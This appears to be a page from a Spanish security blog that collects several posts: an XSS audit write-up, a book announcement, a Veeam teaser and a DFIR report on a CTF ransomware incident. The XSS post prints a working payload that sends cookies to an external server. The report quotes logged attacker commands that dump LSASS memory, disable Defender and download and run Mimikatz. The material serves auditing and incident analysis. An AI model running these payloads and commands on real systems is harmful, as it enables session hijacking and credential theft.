1. XSS

En una de las auditorías que realizamos desde S2GRUPO me topé con una página web vulnerable a XSS y CSRF.

En relación al XSS se logró con éxito el ataque en una entrada de datos que no sanitizaba correctamente los caracteres “,/ y > entre otros, temiéndome lo peor fui directamente a probar los payloads que mayor impacto poseían en cuánto a robo de información, por lo que con el payload %27%22()%26%27%3Cstring%3E%3CScRiPt%3Eeval(atob(%27ZmV0Y2goJ2hedHBz0i8vejc3YnhzMGxkemdndWNvODhzaGg4Z3V6M3E5aHg3bHcub2FzdGlmeS5jb20vP2Nvb2tpZVZpY3RpbWE9Jytkb2N1bWVudC5jb29raWUp%27))%3C/ScRiPt%3E, dónde el texto en base 64 es fetch(‘http://EXPLOIT.server/?cookieVictim=’+document.cookie) se conseguían exfiltrar las cookies de la propia web a un servidor externo controlado por S2grupo una vez la víctima una vez autenticada en la web clicaba en el enlace.

Una vez hallada esta vulnerabilidad, seguí los mismos pasos para desencadenar el XSS en navegadores como Mozilla Firefox, Chrome, brave y Microsoft Edge, de esta manera me haría una idea de cuál sería el motivo por el que las cookies no llegan al servidor de explotación en caso de que la víctima clicase en el enlace malicioso.

Cómo se puede apreciar en la siguiente ilustración, se consiguen las cookies una vez una supuesta víctima haya clicado en el enlace, en este caso el navegador utilizado es Microsoft Edge.

Sin embargo, en un navegador como Brave se puede apreciar como estas cookies nunca llegan al parámetro personalizado cookieVictim.

[Read more…]

Hoy he enviado a imprenta un nuevo trabajo titulado CYBER GRU: Russian military intelligence in cyberspace. Como su título indica, se trata un libro donde hablo del GRU en el ciberespacio, finalizado en mayo y que, tras unos retoques y un prólogo, está imprimiéndose para llegar a librerías, físicas y virtuales, en aproximadamente un mes. Sus casi 400 páginas recogen el trabajo de muchas noches y fines de semana de los últimos meses, sobre una base de material que ya tenía escrito sobre el GRU, incluyendo algún apartado que ya había sido publicado en este blog.

Para hablar del GRU en el ciberespacio, el libro establece en primer lugar conceptos básicos tanto de seguridad, inteligencia y defensa, como de ciberseguridad, ciberinteligencia y ciberdefensa. Posiblemente, estos conceptos sean de sobra conocidos por los que trabajamos en este ámbito, pero no para todo el mundo, y son necesarios para entender el resto del trabajo. De la misma forma, establece los conceptos necesarios para entender Rusia y su ecosistema de inteligencia, donde agencias oficiales trabajan junto a empresas, ciudadanos e incluso grupos delincuenciales.

Con las bases establecidas, nos adentramos en el GRU, el más opaco de los servicios rusos (antes, soviéticos), analizando su organización, estructura, mentalidad… y, en especial, sus capacidades de inteligencia de señales y operaciones de información, las disciplinas más directamente relacionadas con lo que hoy conocemos como operaciones en el ciberespacio. Y, obviamente, es este ciberespacio el que concentra la mayor parte del contenido del libro: las unidades militares más relevantes, los principales grupos APT, las relaciones del GRU con terceros actores, sus tácticas y técnicas, su arsenal e infraestructura y sus capacidades y operaciones principales.

A continuación, para concluir el libro, se detalla el camino entre la inteligencia y la detección de una amenaza, en el que se incluye la atribución, y que trata de explicar cómo a partir de unos indicadores, generalmente de bajo nivel, es posible pivotar hasta un conocimiento más amplio del actor hostil, sus objetivos, sus tácticas y técnicas y sus herramientas. El trabajo se cierra con las principales conclusiones y algunas opiniones propias. Se incluyen también unos apéndices, siendo el principal el dedicado al GRU en España: qué hace, o intenta hacer, y por qué.

Antes de finalizar, quiero dar las gracias públicamente al teniente general retirado Rafael COMAS, por su amabilidad al escribir el prólogo para este trabajo. Además de que Rafa es un experto en muchos de los temas abordados en este libro, sé que, tratando algunos temas espinosos, este tipo de contenidos en ocasiones son difíciles de prologar, por lo que el agradecimiento es aún mayor.

Espero que este trabajo ayude a conocer un poco mejor las actividades en el ciberespacio de uno de los mejores y más opacos servicios de inteligencia del mundo. En breve avisaremos de su publicación. De momento, os dejo por aquí la tabla de contenidos.

Muchos de vosotros seguro que conoceréis Veeam Backup, la solución de protección de datos que permite realizar copias de seguridad y recuperaciones en entornos virtuales, físicos, NAS y nativos de la nube. Esto se debe a que su facilidad de uso y eficiencia lo han convertido en un pilar fundamental en la estrategia de backup de muchas organizaciones.

En un contexto donde los ataques de ransomware están a la orden del día, Veeam Backup se ha consolidado como una herramienta esencial para la continuidad del negocio y la resiliencia ante la nueva oleada de amenazas que reciben las organizaciones de hoy en día.

Sin embargo, ¿qué pasaría si esta solución de protección se convirtiera en la puerta de entrada para un actor malicioso?

Una de las grandes ventajas de Veeam Backup es su capacidad para integrarse fácilmente con otras soluciones clave en entornos IT. Es común verlo conectado con vSphere, la plataforma de virtualización de VMware, o con sistemas NAS, utilizados para el almacenamiento de datos en red.

Además de ello, su compatibilidad con múltiples soluciones cloud ampliamente utilizadas, como es el caso de Azure, lo convierte en una pieza fundamental para la gestión eficiente y segura de copias de seguridad en la nube.

En el mundo IT, la automatización de tareas, especialmente cuando involucra la integración entre distintos softwares, conlleva beneficios significativos. Sin embargo, también implica ciertas condiciones, en su mayoría relacionadas con el proceso de autenticación. Es fundamental evaluar estos aspectos, ya que pueden influir en la seguridad, el control de acceso y la privacidad de los datos, por lo que es necesario sopesar sus ventajas y posibles riesgos antes de implementarlos.

[Read more…]

1. ¡WARNING! ¡LÉEME PRIMERO!
2. Resumen ejecutivo.
3. Antecedentes.
4. Gestión del incidente
   • 4.1. DC02 – 192.168.20.46
   • 4.2. WS02 – 192.168.20.42
   • 4.3. WS01 – 192.168.20.41
   • 4.4. SRV01
5. Conclusiones finales.
6. Línea temporal del ataque.
7. Impacto.
8. Atribución.
9. Lecciones aprendidas.
10. Anexo A: IOC.
11. FAQ (del meta, no del incidente).

SRV01

Dado que es un activo crítico para la Organización, se solicita por su parte un análisis forense del servidor.

Se procesan en primer lugar los logs de eventos por Hayabusa, obteniendo los siguientes resultados de interés:

./hayabusa-2.17.0-lin-x64-gnu csv-timeline -d ../Logs -o ../hayabusa_srv01.csv

├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤

| Top high alerts:    │

├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤

│ Suspicious Eventlog Clearing or Configuration Change Activity (267) │

│ Process Memory Dump Via Comsvcs.DLL (3)   │

│ ETW Trace Evasion Activity (2)            │

│ Lsass Memory Dump via Comsvcs DLL (2)     │

│ Disable Windows Defender Functionalities Via Registry Keys (2)  |

├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤

Si se investigan las alertas, parece que los atacantes han creado el servicio abjtTGiR, con el objetivo de volcar la memoria del proceso lsass.exe (y de esta forma poder acceder a los hashes de las credenciales):

2024-03-22 13:07:20.583 +01:00        Service Binary in Suspicious Folder           high       SRV01.megacorp.local  Sysmon         13           23869    EventType: SetValue ¦ RegKey: HKLM\System\CurrentControlSet\Services\abjtTGiR\ImagePath ¦ Details: %%COMSPEC%% /Q /c CMD.Exe /Q /c for /f “tokens=1,2 delims= ” ^%%A in (‘”tasklist /fi “Imagename eq lsass.exe” | find “lsass””‘) do rundll32.exe C:\windows\System32\comsvcs.dll, #+0000^24 ^%%B \Windows\Temp\JuyTiUv5g.ico full ¦ Proc: C:\Windows\system32\services.exe ¦ PID: 636 ¦ PGUID: 5CD2ED58-580B-65FC-0B00-000000001300 ¦ User: NT AUTHORITY\SYSTEM       RuleName: T1031,T1050 ¦ UtcTime: 2024-03-22 12:07:20.573

2024-03-22 13:07:20.813 +01:00        Process Memory Dump Via Comsvcs.DLL              high       SRV01.megacorp.local         Sysmon 1              23870    Cmdline: C:\Windows\system32\cmd.exe /Q /c CMD.Exe /Q /c for /f “tokens=1,2 delims= ” ^%%A in (‘”tasklist /fi “Imagename eq lsass.exe” | find “lsass””‘) do rundll32.exe C:\windows\System32\comsvcs.dll, #+0000^24 ^%%B \Windows\Temp\JuyTiUv5g.ico full ¦ Proc: C:\Windows\System32\cmd.exe ¦ User: NT AUTHORITY\SYSTEM ¦ ParentCmdline: C:\Windows\system32\services.exe ¦ LID: 0x3e7 ¦ LGUID: 5CD2ED58-580B-65FC-E703-000000000000 ¦ PID: 4420 ¦ PGUID: 5CD2ED58-7478-65FD-700B-000000001300 ¦ ParentPID: 636 ¦ ParentPGUID: 5CD2ED58-580B-65FC-0B00-000000001300 ¦ Description: Windows Command Processor ¦ Product: Microsoft® Windows® Operating System ¦ Company: Microsoft Corporation ¦ Hashes: MD5=911D039E71583A07320B32BDE22F8E22,SHA256=BC866CFCDDA37E24DC2634DC282C7A0E6F55209DA17A8FA105B07414C0E7C527,IMPHASH=272245E2988E1E430500B852C4FB5E18         CurrentDirectory: C:\Windows\system32\ ¦ FileVersion: 10.0.17763.1697 (WinBuild.160101.0800) ¦ IntegrityLevel: System ¦ OriginalFileName: Cmd.Exe ¦ ParentImage: C:\Windows\System32\services.exe ¦ RuleName: – ¦ TerminalSessionId: 0 ¦ UtcTime: 2024-03-22 12:07:20.811

De forma adicional, vía Sysmon se observa que los atacantes han manipulado la configuración de Windows Defender:

2024-03-22 13:06:46.123 +01:00        Disable Windows Defender Functionalities Via Registry Keys        high         SRV01.megacorp.local  Sysmon 13           23854    EventType: SetValue ¦ RegKey: HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring ¦ Details: DWORD (0x00000001) ¦ Proc: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24020.7-0\MsMpEng.exe ¦ PID: 6832 ¦ PGUID: 5CD2ED58-5AD7-65FC-5E01-000000001300 ¦ User: NT AUTHORITY\SYSTEM         RuleName: T1089,Tamper-Defender ¦ UtcTime: 2024-03-22 12:06:46.121

2024-03-22 13:06:48.887 +01:00        Disable Windows Defender Functionalities Via Registry Keys        high         SRV01.megacorp.local  Sysmon 13           23861    EventType: SetValue ¦ RegKey: HKLM\SOFTWARE\Microsoft\Windows Defender\Spynet\SpyNetReporting ¦ Details: DWORD (0x00000000) ¦ Proc: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24020.7-0\MsMpEng.exe ¦ PID: 6832 ¦ PGUID: 5CD2ED58-5AD7-65FC-5E01-000000001300 ¦ User: NT AUTHORITY\SYSTEM RuleName: T1089,Tamper-Defender ¦ UtcTime: 2024-03-22 12:06:48.887

Se confirma la acción de los atacantes en los log de eventos de Windows Defender:

Nombre de registro:Microsoft-Windows-Windows Defender/Operational

Origen:        Microsoft-Windows-Windows Defender

Fecha:         22/03/2024 13:06:47

Id. del evento:5001

Categoría de la tarea:Ninguno

Nivel:         Información

Palabras clave:

Usuario:       SYSTEM

Equipo:        SRV01.megacorp.local

Descripción:

Se deshabilitó el examen de Protección en tiempo real de Microsoft Defender Antivirus para detectar malware y otro software potencialmente no deseado.

Nombre de registro:Microsoft-Windows-Windows Defender/Operational

Origen:        Microsoft-Windows-Windows Defender

Fecha:         22/03/2024 13:06:49

Id. del evento:5007

Categoría de la tarea:Ninguno

Nivel:         Información

Palabras clave:

Usuario:       SYSTEM

Equipo:        SRV01.megacorp.local

Descripción:

La configuración de Microsoft Defender Antivirus cambió. Si es un evento inesperado, debe revisar la configuración porque puede deberse a malware.

         Valor anterior: HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\SpyNetReporting = 0x2

         Valor nuevo: HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\SpyNetReporting = 0x0

Nombre de registro:Microsoft-Windows-Windows Defender/Operational

Origen:        Microsoft-Windows-Windows Defender

Fecha:         22/03/2024 13:06:49

Id. del evento:5007

Categoría de la tarea:Ninguno

Nivel:         Información

Palabras clave:

Usuario:       SYSTEM

Equipo:        SRV01.megacorp.local

Descripción:

La configuración de Microsoft Defender Antivirus cambió. Si es un evento inesperado, debe revisar la configuración porque puede deberse a malware.

         Valor anterior: N/A\SpyNet\LastMAPSFailureTimeString =

         Valor nuevo: HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\LastMAPSFailureTimeString = 2024-03-22T12:06:49Z

Se investiga cómo han podido acceder los atacantes al equipo, encontrando dos accesos del usuario sqladmin vía Escritorio Remoto:

Nombre de registro:Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational

Origen:        Microsoft-Windows-TerminalServices-RemoteConnectionManager

Fecha:         22/03/2024 13:45:45

Id. del evento:1149

Usuario:       Servicio de red

Equipo:        SRV01.megacorp.local

Descripción: Servicios de Escritorio remoto: autenticación de usuario correcta:

Usuario: sqladmin

Dominio: megacorp

Dirección de red de origen: 10.0.8.25

[Nota: esta conexión es un residuo del CTF, no hay que tenerla en cuenta].

Nombre de registro:Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational

Origen:        Microsoft-Windows-TerminalServices-RemoteConnectionManager

Fecha:         22/03/2024 13:05:57

Id. del evento:1149

Usuario:       Servicio de red

Equipo:        SRV01.megacorp.local

Descripción:Servicios de Escritorio remoto: autenticación de usuario correcta:

Usuario: sqladmin

Dominio:

Dirección de red de origen: 192.168.20.42

El primer acceso se produce justo antes de la actividad maliciosa ya observada del usuario sqladmin, lo que confirma que el ataque de Kerberoasting contra la cuenta sqladmin ha sido exitoso, y que la contraseña no era robusta ya que ha sido rota en cuestión de minutos.

Se analiza la MFT del servidor, centrándonos en los ficheros creados o modificados el 22/03/2024, encontrando un fichero de interés:

2024-03-22 12:06:38                2024-03-22 12:06:38      2024-03-22 12:06:38       2024-03-22 12:06:38       154         lnk         \Users\sqladmin\AppData\Roaming\Microsoft\Windows\Recent\windowsdefender—.lnk

Se recupera el .lnk de la carpeta de recientes del usuario sqladmin, y se pasa por la herramienta LECmd.exe, obteniendo el siguiente resultado:

LECmd version 1.5.0.0

Processing C:\Users\antonio\Desktop\windowsdefender—.lnk

Extra data found in ftp case

Source file: C:\Users\antonio\Desktop\windowsdefender—.lnk

  Source created:  2024-12-01 12:17:57

  Source modified: 2024-03-22 12:06:38

  Source accessed: 2024-12-01 12:18:37

— Target ID information (Format: Type ==> Value) —

  Absolute path: Internet Explorer (Homepage)\windowsdefender:///

  -Root folder: GUID ==> Internet Explorer (Homepage)

  -URI ==> windowsdefender:///

Los atacantes han lanzado desde Edge un acceso directo a la Seguridad del servidor, posiblemente para ver si podían deshabilitarlo.

Así mismo, se confirma la ejecución del ransomware al aparecer tanto la nota de rescate como ficheros cifrados:

2024-03-22 12:34:43                2024-03-22 12:37:53      2024-03-22 12:37:53       2024-03-22 12:37:53       1576      txt         \files\readme.txt

2024-03-22 12:34:53                2024-03-22 12:34:53      2024-01-23 11:26:30       2024-03-22 12:34:53       2097184         baklava \files\confidential\conf-2024-1.docx.baklava

Si se buscan los ficheros modificados por el usuario sqladmin el 22/03/2024, se encuentra en el fichero C:\Users\sqladmin\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt el historial de ejecución de Powershell, donde se observa el uso de Mimikatz para acceder a las credenciales del equipo:

Invoke-WebRequest -Uri https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1 -UseBasicParsing | Invoke-Expression

add-objectacl

whoami

IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1’)

Invoke-Mimikatz -Command ‘”privilege::debug” “token::elevate” “sekurlsa::logonpasswords”‘

IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1’)

Invoke-Mimikatz -Command ‘”privilege::debug” “token::elevate” “sekurlsa::logonpasswords”‘

ipconfig

Se concluye que los atacantes han llevado a cabo las siguientes acciones:

1. Deshabilitado el antivirus Windows Defender.

• Realizado un volcado de la memoria del proceso lsass.exe con la herramieta Mimikatz, con el fin de obtener las credenciales de los usuarios que habían iniciado sesión.

• Iniciado sesión por Escritorio Remoto con el usuario sqladmin.

Conclusiones finales

Los análisis forenses realizados permiten resumir el ataque en las siguientes fases:

1. En primer lugar, los atacantes envían un correo malicioso al usuario m.shutter (equipo WS01), conteniendo un enlace para la descarga de un fichero malicioso.

• El fichero, al ser abierto, compromete el equipo con la herramienta de post-explotación Havoc y lanza un fichero PDF señuelo.

• En WS01 existe una tarea que se ejecuta con privilegios y que está en un directorio sin restricciones. Los atacantes modifican dicha tarea para ejecutar un script de Powershell que les permite escalar privilegios.

• Los atacantes dejan una persistencia en el inicio del usuario mshutter (script en el Startup) y localizan el equipo WS02, al que copian el fichero update.ps1 (otra copia de Havoc) y lo ejecutan vía PsExec comprometiendo dicho equipo.

• En WS02 dejan de nuevo persistencia (en este caso vía una tarea programada), y realizan con la herramienta Rubeus un ataque de Kerberoasting contra la cuenta de sqladmin. 

• Dado que inician sesión con el usuario sqladmin en SRV01 poco después, se asume que dicha contraseña ha sido vulnerable a un ataque de fuerza bruta. En este servidor los atacantes deshabilitan de forma manual el antivirus Windows Defender y proceden a volcar las credenciales en memoria con la herramienta Mimikatz.

• Los atacantes parecen disponer al momento de las credenciales de los usuarios helpdesk y Administrador (se sospecha un posible ataque de Pass-the-Hash). Estos accesos son empleados para realizar una copia del Directorio Activo mediante el ataque DC Sync y para crear la cuenta administrad0r y hacerla administrador del dominio.

• Los atacantes inician sesión por Escritorio Remoto con esta cuenta en DC02, instalan FIleZilla y lo emplean tanto para exfiltrar una BD de contraseñas de KeePass como para descargarse el ransomware PsRansom

• El ataque termina con los atacantes detonando el ransomware y cifrando ficheros en SRV01.

Acciones de erradicación y recuperación

Se recomiendan las siguientes acciones de erradicación y recuperación:

1. Búsqueda de todos los IOC en la infraestructura de la Organización, principalmente los relacionados con el C2 de Havoc y los nombres de los ficheros Powershell maliciosos.

• Borrado de todos los ficheros maliciosos encontrados en los distintos equipos.

• Cambio de contraseñas de todos los usuarios privilegiados de la Organización, haciendo especial hincapié en que se sigan unos criterios de robustez de las mismas. La misma acción debe llevarse a cabo con las cuentas de servicio.

• Cambio de todas las contraseñas existentes en el fichero KeePass robado por los atacantes.

• Cambio de contraseñas de todos los usuarios de la Organización (se recuerda que los ataques se han llevado una copia del Directorio Activo, por lo que tienen acceso a todos los hashes de las contraseñas, que pueden ser rotos con un ataque de fuerza bruta).

• Restauración de las copias de seguridad de DC02 y SRV01 a un estado anterior al 22/03/2024 a las 12:00h UTC

• Reinstalación completa de los puestos de usuario WS01 y WS02.

Línea temporal del ataque

Hora (UTC)	Equipo	Fuente	Usuario	Evento
0:03:25	WS01	MFT	N/A	Creación del fichero C:\Schtask\check-updates.ps1
9:29:00	WS01	RAM	mshutter	Correo malicioso desde contabilidadm3gac0rp@gmail.com
11:23:11	WS01	EventLog Sysmon	mshutter	Descarga desde https://file.io/2UvVGDED0zrF
11:25:08	WS01	EventLog Sysmon	mshutter	Descarga desde https://file.io/ufFVdF8eLeK8
11:26:00	WS01	EventLog Sysmon	mshutter	Descarga de factura.iso desde https://file.io/zgsJx9hcnscg
11:26:17	WS01	EventLog Sysmon	mshutter	Montaje de la ISO C:\Users\mshutter\Downloads\factura.iso
11:26:31	WS01	EventLog VHDMP	mshutter	Montaje de ISO – E:\factura\Factura.lnk
11:26:39	WS01	EventLog Sysmon	mshutter	Ejecución del powershell : E:\factura\f\p.ps1
11:26:44	WS01	EventLog Sysmon	mshutter	Montaje de ISO – E:\Factura\f\enc.dat
11:30:22	WS01	MFT	mshutter	Creación del fichero C:\Users\mshutter\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.ps1
11:32:12	WS01	MFT	N/A	Creación del fichero C:\Schtask\update.dat
11:33:37	WS01	EventLog Sysmon	mshutter	Modificación del fichero C:\Schtask\check-updates.ps1
11:33:38	WS01	EventLog Sysmon	localadmin	Ejecución de la tarea programada C:\Schtask\check-updates.ps1 (ahora maliciosa)
11:33:59	WS01	EventLog Sysmon	localadmin	Ejecución del powershell C:\Schtask\check-updates.ps1
11:39:25	WS01	EventLog Sysmon	localadmin	Creacíón del fichero C:\Users\Public\update.ps1
11:39:47	WS01	EventLog Sysmon	localadmin	Creación del fichero C:\Users\Public\psexec.exe
11:40:09	WS02	MFT	N/A	Creación del fichero C:\update.ps1
11:41:06	WS01	EventLog Sysmon	localadmin	Ejecución de PsExec contra WS02 ejecutando c:\update.ps1
11:41:07	WS02	MFT	N/A	Creación del fichero PSEXESVC.exe
11:42:49	WS02	MFT	localadmin	Creación del fichero C:\Users\localadmin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.ps1
11:43:07	WS02	MFT	N/A	Creación de la tarea programada OneDriveUpdateTask
11:47:59	WS02	Prefetch	localadmin	Ejecución de Rubeus35
11:51:27	WS02	Prefetch	localadmin	Ejecución de Rubeus contra la cuenta de sqladmin
11:51:27	DC02	EventLog Security	localadmin	Kerberoasting contra sqladmin desde la IP 192.168.20.42 (WS02)
11:54:39	WS02	Prefetch	N/A	Ejecución de whoami.exe
12:05:57	SRV01	EventLog Terminal Services	sqladmin	Inicio de sesión por Escritorio Remoto con sqladmin desde 192.168.20.42
12:06:46	SRV01	EventLog Sysmon	SYSTEM	Se deshabilita Windows Defender
12:07:20	SRV01	EventLog Sysmon	SYSTEM	Volcado de memoria del lsass.exe con Mimikatz (PowerSploit)
12:08:19	DC02	EventLog Security	helpdesk	Posible DC Sync con Mimikatz
12:08:44	DC02	EventLog Sysmon	Administrador	Creación de la cuenta administrad0r
12:09:31	DC02	EventLog Sysmon	Administrador	Se añade el usuario administrad0r al grupo Admin de dominio
12:12:08	DC02	EventLog Terminal Services	administrad0r	Inicio de sesión por Escritorio Remoto de administrad0r
12:25:37	DC02	EventLog Sysmon	administrad0r	Descarga de FileZilla portable
12:31:33	DC02	EventLog Sysmon	administrad0r	Conexión FTP contra 200.234.235.200
12:32:00	DC02	EventLog Sysmon	ftp1	Exfiltración del fichero STOR management-passwords-1.kdbx
12:32:26	DC02	EventLog Sysmon	ftp1	Descarga del FTP del fichero baklavasom.ps1
12:33:29	DC02	EventLog Sysmon	administrad0r	Ejecución del ransomware PsRansom C:\Users\administrat0r.MEGACORP\Desktop\baklavasom.ps1
12:34:36	SRV01	EventLog Sysmon	N/A	Aparecen los primeros ficheros cifrados en SRV01
12:34:43	SRV01	MFT	N/A	Aparece la primera nota de ransom  C:\files\readme.txt
14:30:00	N/A	Organización	N/A	Primer contacto de la Organización con nosotros

Impacto

El impacto del incidente se considera como MEDIO para la Organización, ya que se han cifrado únicamente los ficheros de un servidor de la misma (del que se disponía de copias de seguridad), y la exfiltración de información se limita a un fichero de contraseñas (que ya han sido cambiadas como parte del proceso de recuperación).

Atribución

El incidente no deja evidencias suficientes como para poder realizar una atribución correcta del mismo, ya que el ransomware es un proyecto de GitHub libremente accesible.

El equipo de ciberinteligencia confirma que ninguno de los IOC o de las TTP observadas a lo largo del incidente permiten asociar el incidente a ninguno de los grupos de ransomware activos en la actualidad.

Lecciones aprendidas

El incidente deja las siguientes lecciones aprendidas:

• Mejora de las capacidades de detección de correos maliciosos: se recomienda desplegar nuevas capacidades que permiten identificar correos con contenido malicioso (file.io es empleada con frecuencia por los atacantes debido a su carácter efímero, que dificulta el análisis).

• Concienciación de los usuarios: así mismo, se deberían realizar los esfuerzos necesarios para dotar a los usuarios de la Organización de buenas prácticas de ciberseguridad, especialmente con respecto al uso seguro del correo electrónico.

• Configuración correcta de permisos de directorios: los atacantes pudieron escalar privilegios al poder modificar una tarea privilegiada que estaba en un directorio no privilegiado. Se recomienda revisar y configurar correctamente estas carpetas.

• Incremento de la robustez de las contraseñas: el ataque ha podido progresar en gran medida porque las contraseñas de los usuarios privilegiados no eran robustas. Se recomienda establecer de forma general políticas de contraseñas robustas.

• Despliegue de un EDR: se recomienda el despliegue de una solución EDR (Endpoint Detection & Response), ya que posiblemente habría podido bloquear y alertar de una o varias partes de la cadena del ataque.

Anexo A: IOC

IP

200.234.235[.]200

URL

https://baklava014.duckdns[.]org/

https://file[.]io/zgsJx9hcnscg

https://file[.]io/2UvVGDED0zrF

Puertos no habituales

8800

Usuarios maliciosos

administrat0r

Usuarios afectados por los atacantes

sqladmin

helpdesk

localadmin

Ficheros

OneDriveUpdater.ps1

Update.ps1

Update.dat

Check_updates.ps1

Factura.iso

p.ps1

\baklavasom.ps1

FAQ (del meta, no del incidente)

Antonio, ¿le tienes manía a las imágenes?

No, soy un fan de las imágenes, pero cuando aportan algo. Muchos informes DFIR tienen muchas imágenes… pero para que entren en el Word, se reducen al 25% y no se ve absolutamente nada. Mucho mejor el texto para estos casos.

Además, el texto tiene una ventaja sobre las imágenes: es BUSCABLE. Es decir, dentro de 4 meses tienes otro incidente con este grupo de ransomware, y es tan fácil como abrir de nuevo el documento y darle a buscar (y así no tienes que ir mirando en 94 páginas de informe dónde está el nombre del fichero que te sonaba que había salido en este informe… o en uno de otros 14).

Oye, veo que esto es como una historia ¿No suelen ser los informes de incidentes mucho más parcos en plan “pasó esto aquí, tal día y de esta forma”?

La redacción de informes DFIR tiene dos corrientes filosóficas: el modo bitácora (donde se cuenta como una historia las acciones realizadas) y el modo informe de resultados (donde se cuenta lo que pasó en orden cronológico, aunando todos los trabajos).

Ambos enfoques son correctos: el modo bitácora es muy útil porque permite determinar qué se hizo en cada momento, y porqué se tomaron algunas decisiones en cada momento (por lo que no explica solo el incidente sino también la propia respuesta al mismo).

El modo informe de resultados es muy útil en incidentes muy grandes, en los que un modo bitácora haría prácticamente imposible el seguimiento, y se hace mucho más legible un orden (por ej: equipo a equipo).

Contenido

1. ¡WARNING! ¡LÉEME PRIMERO!
2. Resumen ejecutivo.
3. Antecedentes.
4. Gestión del incidente
   • 4.1. DC02 – 192.168.20.46
   • 4.2. WS02 – 192.168.20.42
   • 4.3. WS01 – 192.168.20.41
   • 4.4. SRV01
5. Conclusiones finales.
6. Línea temporal del ataque.
7. Impacto.
8. Atribución.
9. Lecciones aprendidas.
10. Anexo A: IOC.
11. FAQ (del meta, no del incidente).

WS01 – 192.168.20.41

Este equipo es el que ha ejecutado la parte cliente de PSEXEC contra WS02, por lo que se sospecha que puede ser el paciente cero del incidente.

Se ejecuta la herramienta Hayabusa con los logs de eventos, obteniendo los siguientes resultados:

├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌

 │ Top critical alerts:                        Top high alerts:                                                    │

├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌

│ Antivirus Password Dumper Detection (3)     Suspicious Eventlog Clearing or Configuration Change Activity (295) │

│ Defender Alert (Severe) (3)                 Suspicious PowerShell Parameter Substring (6)                       │ n/a                                         Script Interpreter Execution From Suspicious Folder (4)             │ n/a                                         ETW Trace Evasion Activity (3)                                      │

│ n/a                                         Antivirus Relevant File Paths Alerts (3)                            │

├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌

│ Top medium alerts:                          Top low alerts:                                                     │

├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌

│ Reg Key Value Set (Sysmon Alert) (939)      n/a                                                                 │

│ ISO Image Mounted (78)                      n/a                                                                 │

│ Potentially Malicious PwSh (57)             n/a                                                                 │

│ Reg Key Create/Delete (Sysmon Alert) (55)   n/a                                                                 │

│ File Created (Sysmon Alert) (50)            n/a                                                                 │

├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌

Se revisan las alertas, encontrando los siguientes resultados de interés:

1. Detección de la herramienta Rubeus (Nota: posiblemente sea parte de la organización del CTF, siendo un residuo del mismo)

“2024-03-22 13:47:19.126 +01:00″,”Antivirus Password Dumper Detection”,”crit”,”WS01.megacorp.local”,”Defender”,1116,227,”Threat: VirTool:Win32/Kekeo.A!MTB ¦ Severity: Severe ¦ Type: Tool ¦ User: MEGACORP\mshutter ¦ Path: file:_\\tsclient\_home_ub_Documents_share-vm\Rubeus.exe ¦ Proc: C:\Windows\explorer.exe”,”Action ID: 9 ¦ Action Name: Not Applicable ¦ Additional Actions ID: 0 ¦ Additional Actions String: No additional actions required ¦ Category ID: 34 ¦ Detection ID: {BEDBBF2C-AE5A-45D1-A944-E75B145F29F8} ¦ Detection Time: 2024-03-22T12:46:41.065Z ¦ Engine Version: AM: 1.1.24020.9, NIS: 1.1.24020.9 ¦ Error Code: 0x00000000 ¦ Error Description: The operation completed successfully. ¦ Execution ID: 1 ¦ Execution Name: Suspended ¦ FWLink: https://go.microsoft.com/fwlink/?linkid=37020&name=VirTool:Win32/Kekeo.A!MTB&threatid=2147756241&enterprise=0 ¦ Origin ID: 2 ¦ Origin Name: Network share ¦ Post Clean Status: 0 ¦ Pre Execution Status: 0 ¦ Product Name: Microsoft Defender Antivirus ¦ Product Version: 